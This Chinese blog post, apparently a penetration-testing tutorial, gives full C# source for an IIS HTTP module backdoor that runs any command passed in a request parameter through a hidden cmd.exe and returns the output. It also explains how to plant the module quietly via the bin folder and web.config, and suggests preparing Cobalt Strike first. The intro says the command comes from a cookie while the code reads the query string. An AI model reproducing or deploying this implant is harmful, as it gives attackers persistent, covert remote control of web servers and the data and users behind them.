使用C#开发IIS模块后门
2021-3-26 11:4:35 Author: y4er.com(查看原文) 阅读量:35 收藏

本文介绍了iis模块后门,并具体实现一个执行cmd的后门。

根据微软的文档,iis开发功能分为两种,分别是IIS moduleIIS handler,即IIS模块和IIS处理程序。

IIS模块是一个.NET类,该类实现ASP.NETSystem.Web.IHttpModule接口,并使用System.Web命名空间中的API参与一个或多个ASP.NET的请求处理阶段。

IIS处理程序也是一个类,该类实现ASP.NETSystem.Web.IHttpHandlerSystem.Web.IHttpAsyncHandler接口,并使用System.Web命名空间中的API为其支持的特定内容生成http响应。

IIS处理程序负责将请求提供给特定的url或特定扩展名,IIS模块则应用于基于任意规则的所有或某些请求。本文以IIS模块为例开发IIS后门实现从Cookie中获取cmd命令并执行。

  1. vs2019
  2. .net 2.0

使用.net2.0是为了向上兼容.net3.5/.net4的高版本环境。

先创建一个C# .NET Framework项目

1.png

选用.net2.0的环境

2.png

添加System.Web.dll的引用

3.png

然后实现IHttpModule接口

 1using System;
 2using System.Collections.Generic;
 3using System.Text;
 4using System.Web;
 5
 6namespace IIS_BackDoor
 7{
 8    public class MyModule : IHttpModule
 9    {
10        public void Dispose()
11        {
12            throw new NotImplementedException();
13        }
14
15        public void Init(HttpApplication context)
16        {
17            throw new NotImplementedException();
18        }
19    }
20}

两个接口分别负责模块的两个生命周期

  1. Init 模块初始化
  2. Dispose 请求销毁

Init()方法接受一个HttpApplication参数,此参数代表请求的上下文。其中HttpApplication中有一个订阅事件PreRequestHandlerExecute,该事件字面意思就是在请求之前进行处理。

值得一提的是HttpApplication还有很多别的事件

4.png

PreRequestHandlerExecute是一个事件,其类型为EventHandler。

1public event EventHandler PreRequestHandlerExecute;

而EventHandler是定义的一个委托

1public delegate void EventHandler(object sender, EventArgs e);

新建一个事件

 1using System;
 2using System.Collections.Generic;
 3using System.Text;
 4using System.Web;
 5
 6namespace IIS_BackDoor
 7{
 8    public class MyModule : IHttpModule
 9    {
10        public void Dispose()
11        {
12        }
13
14        public void Init(HttpApplication context)
15        {
16            context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
17        }
18
19        private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
20        {
21            // do somthing
22        }
23    }
24}

通过new EventHandler()新建一个事件,我们新加事件时需要保证自己的方法和EventHandler方法签名一致。即传递object sender, EventArgs e两个参数,返回类型为void。

Context_PreRequestHandlerExecute中,我们想干什么就干什么。

1private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
2{
3    HttpApplication app = (HttpApplication)sender;
4    HttpRequest request = app.Context.Request;
5    HttpResponse response = app.Context.Response;
6}

通过sender拿到HttpApplication上下文。有了request和response我们就可以拿到参数,执行命令拿到结果,然后写入response了。

接下来是示例。

 1using System;
 2using System.Collections.Generic;
 3using System.Diagnostics;
 4using System.Text;
 5using System.Web;
 6
 7namespace IIS_BackDoor
 8{
 9    public class MyModule : IHttpModule
10    {
11        public void Dispose()
12        {
13        }
14
15        public void Init(HttpApplication context)
16        {
17            context.PreRequestHandlerExecute += new EventHandler(Context_PreRequestHandlerExecute);
18        }
19
20        private void Context_PreRequestHandlerExecute(object sender, EventArgs e)
21        {
22            HttpApplication app = (HttpApplication)sender;
23            HttpRequest request = app.Context.Request;
24            HttpResponse response = app.Context.Response;
25            try
26            {
27                string cmd = request.QueryString.Get("cmd");
28                Process proc = new Process();
29                proc.StartInfo.CreateNoWindow = true;
30                proc.StartInfo.FileName = "cmd.exe";
31                proc.StartInfo.UseShellExecute = false;
32                proc.StartInfo.RedirectStandardError = true;
33                proc.StartInfo.RedirectStandardInput = true;
34                proc.StartInfo.RedirectStandardOutput = true;
35                proc.Start();
36                proc.StandardInput.WriteLine(cmd);
37                proc.StandardInput.WriteLine("exit");
38                string outStr = proc.StandardOutput.ReadToEnd();
39                proc.Close();
40                response.Clear();
41                response.BufferOutput = true;
42                response.Write(outStr);
43                response.End();
44            }
45            catch (Exception err)
46            {
47                response.Write(err.Message);
48            }
49        }
50    }
51}

从参数中获取cmd,然后写入resp。编译dll之后来部署dll。

微软文档中使用的图形化部署。

先添加模块

5.png

再添加模块映射关系。

6.png

而对渗透来说rdp过于拉跨,这里提供一种使用web.config部署的方法。在web.config中

1<configuration>
2  <system.webServer>
3    <modules>
4      <add name="IIS_BackDoor" type="IIS_BackDoor.MyModule"/>
5    </modules>
6  </system.webServer>
7<configuration>

可以将模块放入bin目录,然后编辑web.config加入system.webServer->modules节点,无需重启即可生效。

7.png

部署的时候需要注意,根据iis的运行模式不同,web.config的修改位置也不一样。

经典模式修改位置位于<httpModules></httpModules>标签内。集成模式修改位置位于<modules></modules>内。具体参考 IIS7中的“经典”和“集成”管道模式有什么区别?

  1. 部署后门前最好先上cs,不然网站崩了直接gg。
  2. 虽然是net2.0编译的,但是写自己代码的时候可能会有一些api和高版本的不兼容。
  3. vs2019 anycpu编译的dll,根据iis的运行位数和系统位数不同还是可能会崩,具体部署时应该根据目标实际架构重新编译。

iis后门不仅仅可以用来做runcmd的实现,一键注入内存shell、HttpListener端口复用、直接运行shellcode、powershell,都是很实用的功能。

这些功能就不放出来了,大伙自己改改。

  1. https://github.com/pwntester/ysoserial.net/blob/master/ExploitClass/GhostWebShell.cs
  2. 使用.NET Framework开发IIS 7.0模块和处理程序
  3. https://cloud.tencent.com/developer/article/1507913
  4. IIS7中的“经典”和“集成”管道模式有什么区别?
  5. CVE-2020-17144漏洞分析与武器化

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


文章来源: https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/
如有侵权请联系:admin#unsafe.sh